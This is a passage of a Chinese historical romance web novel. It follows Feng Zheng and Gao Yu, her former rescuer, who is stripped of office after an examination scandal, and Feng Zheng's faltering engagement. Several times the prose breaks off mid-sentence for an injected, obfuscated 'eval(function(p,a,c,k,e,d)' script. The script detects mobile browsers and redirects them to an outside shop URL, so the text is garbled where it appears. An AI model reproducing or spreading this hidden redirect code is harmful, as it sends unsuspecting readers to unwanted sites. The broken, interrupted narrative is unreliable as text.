或许仰头仰得累了，又或者她喝的寒潭香后劲太强，此刻听了他的话，竟让她鬼使神差地感到头疼。冯筝恹恹扶住额，侧过头脸枕在臂间，呼吸平稳欲睡，断续轻喃细若游丝。 “我好像……” “我好像确实醉了，刍荛。” 室内极静，高豫默立窗前，短暂没有说话，再后来，他靠近得那样果决，即便冯筝醉昏了头也能察觉到一丝异样。 她恍惚回头，刚一抬眼，就看到寒潭鹤影重现春和景明处，故人今貌毫无意外地重叠在一起。 室外，高豫缓慢走近，蹲跪在她面前，视线与她持平。 “你叫我什么？” 冯筝迟迟没动，醉睫悬沾月光，眉眼般般入画，高豫倾近画卷，口吻循循善诱。 “你以前叫我什么。” “告诉我。” …… 当初高豫知会冯筝家眷，是通过襄阳驿令取得的联系。 依靠襄阳和宣城驿令的传信，冯家人粗略知道事件经过，听后来冯筝讲述，也清楚是一位善人联合襄阳官府，将害她落难的贼寇绳之于法。 他们单单知道，善人对她施加援手，却并不知道这个救济她长达半个多月的善贤，让糟糕染病的她振作起来，在她心情凄惶地细数归期时，曾担起她身边陌生却可靠的仰仗。 而那位善贤，时下正蹲跪在跟前，放任她深夜造访客院的唐突，垂眸静待她的答复。 春衫质地很轻，他的袖角随风掠起，灰蒙蒙的衣料，露出内里雪白中单。高豫腾出手臂搭在膝上，翩跹的衣角上逢禁制，遗憾垂落。 当这阵偶然的风短暂经过，宿醉的冯筝始才听懂他的意指。 他问的是那一声刍荛。 任性是醉徒的通病，曾经时常挂在嘴边的称谓，多年后被他耿直来问，冯筝却对此守口如瓶，于是当云雀拿来罩衫赶到，便看到两人披着月色在庭院中“对峙”。 这样的情景令云雀不解，毕竟在她看来，双方既没宿怨也没过节，不该闹得气氛紧张才对。 唯恐她们夜闯客院的事情闹大，云雀跑来解围，等看清冯筝不太清醒的样子，云雀这就有了判断。 一个清醒一个醉酒，谁挑起的对峙很容易分辨，姑娘从不跟人动粗，哪怕醉酒也能保持矜持，那就只能是言谈方面失了礼数。 云雀替冯筝披好罩衫，出声试图帮她回忆。 “这是午时送姑娘就医的高家郎君，姑娘不是常说，做人要学会知恩识礼的吗，他帮了你，你得对他好好说话。” 冯筝撇头求证，一双清圆的眼写满冤情，偏偏坦荡磊落，很自信对方会替她辩解，高豫无奈错开视线。 “你误解了，你家姑娘很善待我，我们没有闹不愉快。” “夜里露重，带她回去歇息吧。” 翌日敞院。 高豫应邀，进冯公的书房喝一盏茶。 当朝设有左右两位宰辅，御前辅臣众多，宰辅的地位一度被削弱。按照时人的猜想，如果右相高平缮不曾涉案，数年的积业也没有倒塌，那么高家撑一撑，或许还能借联姻手段，如愿高攀勋爵门庭。 但是科场案变后，情况就不一样了。 高家突逢变故，没绝户已经很万幸，通常来说，像这种满门获罪的门第里，女眷处境是最凄惨的，哪怕嫁进来前出身良民，既然与夫家荣辱与共，一律也得充当官婢。 冯公刚从前堂回来，喝过长房夫妇的请安茶，眼看亲事彻底结成，才正经地对亲家上心，过问起高家其余宅眷的情况。 问到高家有无其他姻亲，结果竟得知，高家子嗣都不曾婚配。 冯公难得吃惊，他百思不得其解，等平静下来，幽幽叹息道“实在不该”。 高豫没回应这个话题，后退一步，拱拳周全礼数。 “去年与冯公书信周旋，至今才有机会亲口道谢，晚辈惭愧。冯家愿意接纳蘅娘，晚辈替她向贵府拜谢。” 冯公将他扶起，“蘅娘进了冯家的门，就是我冯家长房的长媳，承纲性情稳重敦厚，日后定会好好待她，贤侄请一定放心。” 两人一通客套寒暄，例如昨夜睡得好不好，枕簟卧具是否习惯，高豫逐一照答，偶尔关心冯公康健，两人在书房兜了两圈，经过楠架时双双驻足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯筝颇能自宽，很快与昨晚自己的醉徒表现达成和解，满脸堆笑地跨入门槛，她将挽在臂间的食盒放下，正好瞥见桌上那块叠得整齐的绢帕。 这还是昨晚替他解围时，她借他擦拭酒渍的手帕，察觉一丝若有似无的皂角香，冯筝心头微顿，紧接着就听见高豫开口。 “多谢冯姑娘昨晚解围，我已将手帕洗净，还请姑娘仔细收好。” 冯筝便学着他讲客套话，“手帕我多的是，不是什么贵重东西，三郎君不必着急归还。” 没有亲密无间，没有嘤嘤叙旧，礼貌疏离的相处模式，任谁也看不出他们这是久别重逢。 高豫闻言笑了，顺势换了副说法。 “听府里人说你今年出阁，你的东西留在我这里不合适，万一叫人猜忌，反倒损你清誉。” “也对，还是三郎君想的周到。” 冯筝懂得避嫌，顺嘴答着，不假思索地揭开了食盒。 “我带来了蜂糖水，祖父每回酒后头疼，都用蜂糖水解酒护肝。你不知道，昨夜一过，膳堂都传开了，说高家郎君酒量有多好，虽然我不清楚你是不是硬撑……但是常人宿醉，身体不难受是不可能的。” 冯筝端起汤碗，“尝尝？” 女孩眸光闪烁，貌似期待他的回应，高豫颇感新奇，想知道她到底怎么做到一边装作与他不熟，一边又能面不改色地给他关照。 如此想着，便没有拒绝她的好意，“是啊，强撑罢了。高某初来乍到，还要感谢冯姑娘替我考虑。” 老实说，被人频频答谢挺烦的，冯筝将绢帕一股脑塞进袖子，等着他把蜂糖水喝完就收碗回去，意识到观望着男客用膳不太礼貌，这就转过身去收拾食盒。 直到一声轻描淡写打破沉默。 “冯姑娘，我是不是应该认识你？” 5. 第5章 “当然认识。” 冯筝不假思索地承认，随后，虚晃一枪的解释令高豫不禁眼神微妙。 “昨晚祖父替我们相互引见，大家的身份过了明路，三郎君当然认得我了。” 高豫到底没置喙，含笑将这事翻篇，放下碗碟就去整理行装。 他留宿一晚没带行李，箱箧背囊什么的通通没有，只有三两书籍簿册，以及一个招文袋而已，全部收拾完，分明是副要走的阵仗。 冯筝知道他贸然离开是有要事，但她确实也有要事相商，懊恼之前讲闲话耽搁了时辰，冯筝出手制止他，“等等。” 他的袖沿，他的红绦，瞬息之间掠过掌心。 按照宣州习俗，治丧腰结丧绦，遇上喜事，结的便是喜绦，细长的绦带被她捉在手里，掌心颜色滚烫，神似喜事在握。冯筝松手不及，绦结陡散之际，他回了头，冷峻指节攥住前端。 “是嫌我的答谢过于敷衍，还是嫌我晾着你没有说话，冯姑娘这就要公然逞凶？” 冯筝看着这个处境困顿身世沉重，却还有胸襟半开玩笑的青年，转眼间就变得庄重。 “如果我问，你能不能不去领那道谕旨，你怎么想。” 问题来得突兀，高豫却也接受良好。 女孩话意浅显，显然和他师伯胡祯的态度如出一辙，都对谕旨怀有悲观态度，他眉眼舒展，喉珠起伏，忽然令冯筝感到眼眶酸胀。 “我会想能再次被人记挂安危，高某有些受宠若惊。” “但圣人慈悲，却并非一味讲究宽宏仁宥，既然能用御笔为我钦点官身，同样也能再动御笔免我的职。” “这个道理我一直记着，好在未来自宽自勉，如今我把它转告于你，请姑娘莫要耿耿于怀。” …… 午时三刻，高豫从樊楼门前的绫桥走过，来到宣城官衙的昭威堂中。 宣他的钦差，今日就到。 作为官署前围的审案用地，顾名思义，昭威堂昭示律法威仪，从前禁守森严的地方，此刻堂前屏门大开，百姓看客们等候多时。 更有不少江南科场案亲历者，一些因为品秩低微而免于遭殃的贡院外帘官风尘仆仆赶来，直奔这位是朝臣也是罪裔的郎君，隔着差役的威杖远远猜忌。 国朝养士制度培养出一批太学学士，朝廷对学士多有体恤，更何况高豫身兼朝班储臣，被豁免也不是没有可能。 人群拱向前，他们要看看，在高豫尚未洗清嫌疑之余，朝廷对他，究竟能偏私到什么地步。 “偌大的诏狱赭衣塞道，司衙门前聚讼纷纭，高豫与其父关系密切，若就此被轻易放过，那些受高相蒙蔽，惨遭落榜的寒门定不能答应。” “他是右相府里唯一出仕的子弟，京部的官宦通权达变，如果有意保他，未必没有手段将他干净摘出，只可怜我等无辜的陪臣，不过在外帘听候受卷，却受此案牵连，白白吃了一遭狱事的苦。” “……” 人群中胡祯神情凝重。朝廷命高豫原地待诏，这种指派钦差出京，就地携旨宣判的安排，对一个曾经显贵的宠臣而言，说不清是羞辱还是体恤。 “他在睦州平反冤错，好歹曾是我朝功臣。高三郎清清白白，京部当然要还他公道，眼下朝廷都还没给出裁决，有人反倒先做起了审官。什么通权达变、干净摘出，瞧瞧说的这话，也不怕被指讽喻当权，被钦差听到拉出去收监。” 胡祯话音刚落，唬得前面几人噤声不语，也有不服输的人要来争辩，一顿争执声起，登时有官差撞鞘喝斥。 “肃静！” 原本按照胡祯提举学事司的官身，可以替自己讨一处座席，但他只是隐匿身份，站在梧桐树下沉默观旨。 朝廷钦差官衣赫赫，手中既无金简也无谕旨，脚踏黑皂靴出现，带来一阵隐晦的风，风一吹，摇动他头顶的枝叶婆娑作响。 胡祯目睹此情此景，目睹高豫对他们抚袍曲膝，感叹他堂堂睦州观察使，踏足衙门，从未有过如此被动的时候。 昭威堂前，钦差并未展开手谕，他们临时征用这座审堂，架起了一副草台公堂。 这副阵仗摆出来，周遭顿时一片哗然，毕竟科场案经过三司圆审，孰黑数白早已查清，这高豫是否洗清嫌疑，哪里用得着现在来断？ 有人跋涉千里等一个结果，没闲情看审官重演断案过程，有人嗅到蹊跷，猜疑钦差要为高豫脱罪，更有甚者兴致高涨，想看看审堂之上锣对面鼓之时，这位官籍岌岌可危的青年，会不会和囚徒们一样卑微乞怜。 衙役拔出刀剑肃场，口中高喊“通谕视听”，堂前钦差拂开袖袍，接过验明高豫正身的度牒，问：“高豫，你于去年深秋停职受审，由诏狱迁往大理寺狱，期间，有没有受过刑讯逼供。” 高豫：“没有。” 得到简练的答案，主事的钦差却眼神微变。 他记得，属于大理寺的验伤笔录里，序言写得明明白白：去年隆冬腊月，奏纸纷飞，在一批重犯由诏狱转交大理寺狱接管的当晚，他新换的囚衣浆白如雪，锁足的镣镰犁地，犁出的是条浅浅的血路。 当时，他颈后凸起的脊骨微创，蜿蜒伤痕没入衣领，随后，他于弯腰跪审时低蜷腹部，腹前裥褶中，隐约渗出斑斑血渍。 那一年，刑部院被慎刑司架空，这群慎刑司的刑官掌管诏狱，显然对高氏父子好一顿磋磨，如今得到否认的答案，钦差只是颔首，脸上没有多余的情绪。 “既无刑讯逼供，那么朝廷便认定，你此前供述全部属实。” 钦差接过一尺椟盒，揽在手里停顿了下，“这事意味着什么，我想你应该已经明白。” 这话很耳熟，高豫静静思索，想起当年因他执意抗辩，大理寺寺卿寇昌不理解，灰霭窗光前，跟他说过的一句类似的话来。 “能从死囚如麻的诏狱转到大理寺狱看押，这事意味着什么，我觉得你应能明白。” 道理不能点得太透，否则就都是话柄，炭火欠备的凛冬寒狱里，面对这份可贵的人情，他曾冒险站起来，看着散乱堆在脚边的铁链，“微臣明白。” 天字诏狱死囚如麻，能脱身诏狱，哪怕仍然困作囚籍，却已意味着性命无忧，只待案事平决，熬到局势回暖就能重获自由。 所以彼时在寇寺卿看来，在他用各种难题将他审住，然后借“嫌犯伤情不稳，对答艰难，虑及有碍行讯公正”的理由，果断将审讯掐断，命狱卒将他带走的时候，对方应该见好就收，根本没必要自揽刑伤。 完全想不到，高豫会一味地恳请“照章程来办”。 寺卿别无他法，于是就有了后来，他温驯捧起手边镣镰，丝毫不露怯地，开始了继诏狱之后，又一场不分昼夜的刑讯征途。 当时他凭借毫无破绽的供词，屡次将压力抛回刑讯者身上，没少令寺卿感到棘手，对于寺卿寇昌，高豫多少是有些愧对在的。 然而高家没有亲眷拥簇，阖府落难，唯一能指望的只剩他一人，他需尽快洗清身上嫌疑，好出狱替他们争取生机，否则被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935082|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动等到最后，连高蘅都保不住性命。 寺卿的一席点拨话语，使高豫明白官场体恤，此刻朝廷认他供述属实，高豫便懂得圣人恩典——朝廷采纳了他的无罪供述。 高豫跪立请旨，钦差将御批徐徐展开。圣谕既出，视同面圣，官员百姓们成群跪卧，婆娑作响的枝叶声里，胡祯盯死那张金黄色丝帛，听清宣判缓慢睁大了眼睛。 同一时间的冯宅，冯筝抚裙曲膝后站起身来，对着这位冯阿伯的新嫁娘，冯家长房未来的主母，仔仔细细周全了礼数。 “伯娘安康。” 高蘅杏眸鹅蛋脸，头簪石榴珠步摇，一双绣鞋藏在裙底。昨晚从夫婿那里，知道她为迎这桩婚事，亲自出街分发喜囊，高蘅看出她性情纯善，含着温婉的笑容回应她。 “好侄女。” 高蘅笑容熨帖，却始终藏着一抹忧愁，这抹忧愁逐渐煎熬，当打探情况的家仆回来报信，冯筝便听到她问。 “怎么样了？” 这是打小跟着高蘅的家仆，全靠一双腿脚往来报信，脚程赶不上事情进程，消息总会有所延迟。 “都跪着听旨呢。” “三郎君跪在最前面，奴家看不清，不过观郎君去时一幅措置裕如的模样，结果应该坏不了。” 高蘅被宽慰到，脸容明媚起来。 而听闻高豫曲膝行跪，冯筝记得他堂堂睦州观察使，身处衙门，也曾有过被动的时候。 当年，他帮助落难的自己清剿匪贼，哪怕已经向襄阳衙役出示过公验，连做半个月苦行僧的他，为防在她面前露出端倪，还是要将刍荛的身份继续演下去。 他摒除一切特殊对待，就着一套简陋桌椅，对数目甚多的贼匪撰写证词。春寒时节，他一双长腿收拢在桌底，笔直的裤腿些微上缩，“被动无助”得令人动容。 他一手墨字写得料峭，偏偏故作生涩拖沓，事后甩甩酸胀的手腕，听闻动静猝然回头。 发现她泪眼涟涟，他却露出欣慰的笑。 “没关系，这次换我努努力吧。” 那时的她处境窘迫，对这种既轻率又随和的笑，可以说是有些局促和拘谨的。 如今两人境遇对调，听着仆役讲他措置裕如的话，冯筝仿佛能预料到，他站在官衙里，面对各种猜疑不知痛痒，像模像样跪下去听旨，然后再喊一句谢恩。 他总是这样，爱撑一幅开朗随和的模样，仿佛真的做好了被罢官免职的准备，轻易割舍他长达三四年的履职生涯。 冯承纲撩袍进来，拦住要再去探信的仆役，讳莫如深的模样让屋里两人都怔愣住，冯承纲抿了抿唇线。 “阿筝，你先出去一趟，别让你伯娘难堪。” 冯筝恍若未闻，高蘅却听出了眉目，扯着夫婿请他直言，冯承纲知道瞒不住，遗憾地开了口。 “朝廷宽限他的度牒，周全他的清白，豁免他的流刑，三道恩典隆恩浩荡，谨按连坐制度，最后准他将功赎罪，迫夺所赐玺书，剥除官身贬为庶民。” 高蘅脸色霎白，往后踉跄两步，再抬头时眼眶蓄泪。 “可这对他是无妄之灾。” “可是这对他是无妄之灾！” 钦差连数三道恩典，将圣人慈悲摆在高豫面前，最后却只是准他将功赎罪，迫夺平生受赐玺书，剥除官身贬为庶民。 圣人手谕慈爱，却旨在将他功名尽除。冯筝撑伞走出廊庑，越过伞面抬头望天。 天好暗。 好像某人前途灰蒙蒙一片。 6. 第6章 这则在宣城官衙示众的御批，给江南科场舞弊案落下了最后一个句点。 众说纷纭的声音里，更多的是对这位年轻士子的遗憾惋惜，从手握权柄到贬为黎庶，身份落差太大，所以有言称，曾经的高相如何稳坐高台，如今的高豫便如何飘飖播迁。 然而漂泊的高豫无暇感伤，因为他正忙着带佩剑和绶印回睦州交公。或许，这是一道圣谕里未曾挑明的恩典：比起让有司出手革除官籍，宽限出让他致仕的机会，能为他保留一丝体面。 这天艳阳高照，冯筝把香烛放进篮子，坐进了府里安排好的马车，她们要去香积寺里，向已故的老夫人燃香祈福。 香积寺有许多客祠，只要捐够香油钱，就能借寺里的祠堂安放牌位，令逝者沐浴佛门香火，享身后哀荣。 “老夫人没能亲眼看到长子成家，如今大夫人嫁进来，也算了却了她生前念想。” 吴阿姆揭着车帘感叹着，冯筝喃喃道是，没过多理睬，将篮子上的遮布细心掖好。 用来报恩的金银细软就被她藏在香烛底下，打算瞅准时机就交给高豫。 这趟出门进香的都是女眷，她和吴嬷搭乘后方马车，高蘅和孟氏则坐前面一辆。高豫动身前往睦州，时间就在这两天，姐弟两在马车前话别。 比起前几日痛心疾首的模样，高蘅情绪有所好转，但碍于眉眼里一抹黯然神伤，青葱年纪却初现老态。高豫身量较高，半垂颈项和高蘅说了些话，不知说了什么，竟春风化雨般化解了她万般愁绪。 高蘅释然松肩，惆怅眼底终于有了点笑意。 “我怎么觉得，他们高家姐弟，关系竟然怪生疏的呢。” 吴阿姆下意识觉得奇怪，冯筝向外张望，怎么看都是副感情深厚的样子，想到缘由后把这事讲圆，“地方观察使任期五年，他三四年不曾归家，单靠一纸书信维系亲缘，跟家里生疏也难怪。” “三四年啊……姑娘怎么知道三郎君他任期未满？” 吴阿姆问完就后悔，“瞧我问的这糊涂话。三郎君这趟离开，可不就是任期未满，得亲自回睦州交差，本来再坚持两年，没准就能调回京城，实打实的前程似锦，谁料遇上这档子事……” “阿姆莫要再念，蘅娘子才被哄好，被她听见岂不是又要伤怀。” 高蘅年纪尚轻，冯筝不习惯唤她伯娘，私下仍称对方娘子。外面高蘅被高豫劝住，这边吴阿姆也被她说服，吴嬷放下车帘隔绝掉视线，也令冯筝将高豫哄她吃糖的情景抛诸脑后。 香积寺坐落在山腰，孟氏领着高蘅给老夫人敬香，然后便去前殿祈福。 前殿香客众多，殿内金相巍峨。冯筝坐在香火缭绕里看不清神佛，记不清佛陀面貌是和蔼还是庄严，却记得在香积山看到高豫的最后一眼，是他衣冠肃整出现在远处亭台里，望着高蘅长跪不起的背影，一步一步功成身退。 数月牢狱之灾，个中艰险很难想象，哪怕已经脱身诏狱，恢复衣冠照常行走，他却仿佛被一双镣镰浸透了气息，清清静静离开时，让人感到直观的冷。 孟秋扶住高蘅屡屡叩拜而颤动的手臂，若有所感地回望一眼，然而最终一无所获，冯筝瞅准时机动身，一路追下山语速很快。 “云雀，赠礼可都准备妥了？” “我之前嘱咐的宣城特产，尤其是那支紫檀兔毫没落下吧。” “茶饼呢？就是被祖父压箱底，京禄府官供的那块。” 云雀虽然不明白姑娘备礼所为何事，但不妨碍她声音也跟竹筒倒豆子似的利落。 “赠礼都备妥了。” “宣城特产都有，紫檀兔毫也是在的。” “姑娘，都说是老太爷压箱底的东西了，没得到准许婢子们哪敢碰啊。” 云雀两厢为难，冯筝慌忙想起这茬，刚刚松快的心情也跟着跌宕了下。礼单里就数那块茶饼最贵，也是家里最拿得出手的赠礼，别的东西短缺无伤大雅，茶饼没了，整份谢礼的价值却得一落千丈。 她若将酬谢恩情的事情先斩后奏，相信祖父能够体谅。冯筝思考片刻，这就设法让云雀去拖住高豫，自己则回府“借”茶饼一用。 本来就忙得不行，偏偏被一名小厮拦住去路。 小厮展开一臂让出视野，视野开阔处，一人扯下笠帽走来。青天白日里少见青年遮掩面容，眼前这位便是如此。 青年头戴短笠，侧遮的半张脸露出一小截流畅的颌线，摘下笠帽时，眼睛张弛扫来，带着抹亲和却又凛冽的尾锋。 认出江涣臣的那刻，冯筝便意识到自己短暂没法走开。 江冯两家有意结亲，按照双亲的意思，她今年年底就能出阁，婚配对象，就是这位江家郎君。遥记得上一次两人约在茶馆前碰面时，他第一句话，既非问好也非邀请，而是提醒她帏帽遮容，美其名曰“洁身自好”。 说实话，这人惯爱苛重她的清誉，她还没嫁过去就遭受苛责，心里确实不愉快，然而这桩婚事，并非冯家委曲求全。 江家家境殷实，郎君刚登新科，任太常寺奉礼郎，未来婆母亲厚，小姑又是她闺阁好友，可以预见的未来，满满都是安稳，横竖来看，她都没必要为这点瑕疵坏了姻缘。 不过他好端端在京城做官，如果突然回城，只是为了苛责她出街分赠喜囊的事，那就简直太过分了。 “还没恭贺你阿伯成亲。” 江涣臣走近，得体地朝她颔首致意，“我本来打算登门道贺，听说冯家女眷出门进香，想着有话问你，就专程在寺外等你。” 他平铺直叙地讲明来意，冯筝短暂没作出表示，先把云雀打发去办事，回过头来眼睑微压。 女孩面相温和，令她眼里胜噙温山软水，而直面这幅“芙蓉面薄难藏泪”的美貌，江涣臣便意会到朱门贵女施妆时，爱傅粉黛的其中深意。 他就适当放轻姿态，谁知冯筝率先开口。 “如果江郎君是来怪我当街抛头露面，特地来督促我谨守闺誉的话，那么请恕我现在就要离开。” 江涣臣听得懂，她说的是冯伯结亲那天的事，而她出街分赠喜囊，他也是最近回城后才得知。江涣臣包容了她的打岔，朝她露出大度的笑。 “我确实准备过问此事，不过没想怪你，只是想告诉你，今后贵府如果人手短缺，只管来江家调遣仆从，你既然不愿听，那我索性掀篇不提。” 他删繁就简直奔主题，“半年未见，冯姑娘就没有什么话要问我吗？” “暂时没有。” 得到否认的答案，江涣臣不知道是该庆幸还是失望，他微微整理面容，“最近京城发生了一些事情，跟我有关。如果风声传到宣城来，希望冯姑娘不要听信谣言。” 一封书信就能表达的事，偏偏当面来讲，至于什么谣言，不讲又不澄清。 冯筝看不懂他，掂了掂轻重缓急，果断答应他，顺利脱身离开。 城西酒楼。 黄縢酒又名黄封酒，以黄绶带捆缚瓶口而得名。工部员外郎张季安紧握瓶身，韧滑的丝带被他缠绕指端，抽扯迸散间，高豫抬手截下这壶酒。 “你我都需要赶路，这酒还是留着更好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喋喋不休的男人瞬间变得沉默，张季安仰头把茶水饮尽，他虽然期待这桩案子能有变数，期待未来能够翻案，却同样不愿看到好友为了搜罗片辞孤证，自此走向颠沛流离道再也回不了头。 张季安很纠结，直到馥娘的面容浮现在脑海，最终还是认怂。 “是啊，我是醉了，没有证据的事情，我怎么敢信口攀咬……不说这些了，你我难得相聚，这一点菜怎么管够？早就听闻宣州菜系出名，什么水晶虾仁、文思豆腐统统都要点一遍，不能浪费我的酒水！” 张季安拍板就走，闯出厢房找伙计布菜，门外，听了满耳朵墙角的冯筝暗暗踱开，这样一经过，刚好看到高豫靠在椅子上，攥着茶杯细微出神。 一刻钟前，云雀跟踪高豫到酒楼，始终不敢现身阻拦，冯筝从附近摊贩的口中确认他踪迹，径自来到酒楼堵人，这就意外听到了墙角。 满楼声光凌乱，厢房房门大开，几声秋燥的蝉音漏进轩窗，与他沉静豁达的模样对比鲜明。 他是这样豁达，以致于冯筝短暂拿不准，到底该称赞他这副雪压竹枝低复举的料峭风骨，还是该怜悯他，从此失去家族荫庇的飘零身世。 冯筝颦眉低头，手中纸袋油亮，里面是咬了两口的咸菜酥饼。 她走到角落里，准备先解决这张酥饼再办事。 “……” “冯姑娘表情精彩纷呈，是这酥饼太咸，惹得姑娘频频皱眉，还是高某面貌丑陋，败坏了姑娘吃饼的兴致？” 7. 第7章 细细算来，高豫无疑是俊美的。 乌鬓墨眉，眼瞳似海，手捧礼单快速阅览完，轻轻搁在膳桌上，甫一抬眼，端详的眼神直捣心府。 冯筝揣着便宜酥饼，献出手的赠礼却阔绰豪奢，高豫将礼单轻轻推回，谨慎提醒她。 “可是我认识姑娘还不到四天，不记得曾经和你有什么情谊，更别提这救命之恩。冯姑娘不要认错了人。” 闻言，冯筝立刻眉眼蔫搭，高豫觉得费解：她不认他，心存顾忌欲同他疏远，他遂了她的意与她保持距离，她又觉得委屈。 他便歇了这兜圈子的想法，和颜悦色地跟她讲道理，谁知冯筝迅速和盘托出。 “三年前春，我替刍荛缝补衣裳，葛衣粗糙磨破了手，他亲手替我擦好药膏，还嘱咐我不要为这些破烂费神，我以为他不满意，嫌我耽误他把衣裳穿破，就刻意用食指，在袖底戳出五六个豁口，还原他爱的破烂模样。” “三年前崇祝寺，他给我的绣囊塞满银两，说等到我把钱花完，家人就会来和我团聚，两天后我果然等到双亲来接，但这些钱我分文未动。” “从前，我总是寄希望于刍荛替我摆平一切，如今我想要帮他点什么，哪怕帮不了许多，也至少让我酬谢恩情。” 冯筝急催催把话说完，根本没给人打断的余地，期间掏出绣帕按了按眼角，很是一副菩萨心肠反被糟践的凄楚模样。高豫越瞧越想笑，最后浓重哂了一下。 他至今都记得，那件葛衣的豁口如何圆润，策马期间暗暗撕裂，如何让赶回辖地的他颜面扫地—— 常人披衣御寒，倒春寒的天，他却是穿着漏风的衣裳四处招摇，好不容易回司衙复命，上差面前，天知道他陡然发现袖管裂开时，是怎样一种难言的心情。 冯筝喜笑盈腮，知道这事藏不住了，由此露出得逞的笑。 直到高豫疑问。 “冯姑娘，你是怎么看待我的？” “之前顾忌和我相认，是在想当年那个割草采薪的刍荛，如今竟要挟恩以报，还是觉得高三郎揪着旧事不放，大有可能目的不纯？” 他挺括的肩背前倾，肩骨如弓弦张满，偏偏神态既轻且柔，讲话又温又缓，令冯筝根本提不起戒备，即便明知如临大敌，也依旧能够稳住自己。 “我如果怕你挟恩以报，就不会追来这里酬谢你。先前装作不识，是突然得知你的身份，心里乱糟糟的，还没想好怎样面对……换句话讲，短暂有点接受无能。” “三郎君能理解的，对不对？” 他只是笑笑，眼睛安之若素，没有回答。 “那你现在能接受了吗？” 满口解释的话噎进腹中，冯筝被问住，直视高豫双眼，却一下子发现，她竟害怕和他身为高豫的苦难共情。 她摇摇头，“不能。” 这之间有许多未尽之语，但他们两人谁也没继续说下去。冯筝眼睫轻颤，把殃及眼眶的酸楚感收敛回去的同时，把礼单也重新叠好塞进袖子。 “抱歉，我失态了。” 冯筝不确定，自己有没有争取到他的理解，不被理解也没关系，毕竟她这趟来的目的很简单，只是为了酬谢恩情。 礼单所列金银细软，宣城特产等等，都被她寄存在钱庄供他支取，暗号也已经告诉他，只要他有需要，随时都可以一起带走。自知没有理由再留在这里，冯筝提裙就走。 “风筝。” 冯筝钝钝回过头。 “如果你还愿意让我这样喊你的话。”高豫撑起膝盖起身，拿起那袋被她咬掉半边的酥饼，放到她手里，道别以前，最后跟她说了句话。 “我回睦州致仕以后，来日宣城再见，如果你还有耐心听我解释，我便把过去种种蒙骗欺瞒，隐匿身份的来由始末，都一五一十地讲给你听。” -- 酒楼生意太忙，张季安好不容易找到伙计加菜，刚回来就撞见一个姑娘从厢房离去。 女子素衣净裙，眼睛柔美明净，离开的时候，一根芙蓉簪子晃得厉害，他不明就里，进来就撞见高豫神色凝重。 说来可笑，他半壶酒都没给人说动，这位姑娘一进一出，就让这好整以暇的男人终于郑重起来。 张季安原本就不信，如果高相果真枉死，哪怕只有一丝嫌疑，高豫会没有昭雪之心，此刻撞见他神情凝重，更笃定此前是他强装旷达。 不过这事既然掀篇就不便再提，张季安问，“你跟刚才那位姑娘认识？” 不怪张季安感到诧异，两人同窗多年，同年俯首称臣，他从未听说高豫结识过什么红颜知己，如今突然冒出一名年轻女子，能共处一室想必关系也不生分。 察觉张季安的审视，高豫额角微跳，适时制止他的猜疑。 “是我姊婿家的姑娘，如今唤蘅娘一声伯母。季安休要想岔，姑娘家经不起这种打趣。” 张季安知道他来宣城送亲这件事，却没想到女孩就出自这户姻亲，听到好友维护的话，只怪高豫把他看扁。 “我好歹也是学儒经出身，知道什么玩笑能开，什么玩笑不能开，更何况现在知道了她的来历，按照辈分，她得跟你未来外甥们喊你舅舅。你说我还有没有廉耻开你们玩笑？” 高豫脸色微变，缓慢才找回自己的声音。 “如此，倒是我狭隘了。” -- 这些天，冯江两家走得殷勤。 这样走得勤了，好事也跟着接踵而来。 二房夫妇带着冯筝的庚帖去江府拟定婚约，顺便商定婚期，傍晚才迟迟归家，回得晚也就罢了，还双双都是脸色紧绷。 冯承琨躁郁得不行，端起一碗安神茶，把茶盖磕得哐当作响，最后按捺不住回书房去，孟夫人就更糟糕了，连晚饭都没吃下。 于是当冯筝提着食盒，带着厨房煨好的蛋粥来关心母亲，看到母亲遗憾又疼惜的表情时，立刻就明白和江家的婚事大概得告吹。 “娘，发生什么事了？” 孟夫人把粥食放下来，正要跟女儿说道此事。两家最近走动殷勤，江家夫妇对结亲事宜乐见其成，眼瞅着就要交换庚帖，坏就坏在江老夫人从中作梗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在孟氏看来，京门望族注重脸面，没有男方默许，那廉家不会敢豁出颜面，任凭女儿闹到这步田地。 孟氏原本还怪罪江家郎君精明算计，既算计了女儿真心，又算计到京门高枝，看到冯筝对此事轻拿轻放，满腹郁闷这就消了大半。 一席话聊到很晚，冯筝挑着灯笼回到闺房时，天已擦黑。 厚厚一沓书信被归拢到桌前，夜里寂静，冯筝守着一盏灯独自坐在寝堂，对着这沓书信悲喜难辨。 这些都出自江家郎手笔，花式嘘寒问暖，凝缩着他们近两年来所有的交情。说实话很难想象，碰面时总是一副肃穆模样的江郎，写的信竟情意缠绵，所以赴约时常常无语凝噎的自己，比起当面对他种种苛重瞪眼鼓腮，更愿意跟他笔墨周旋。 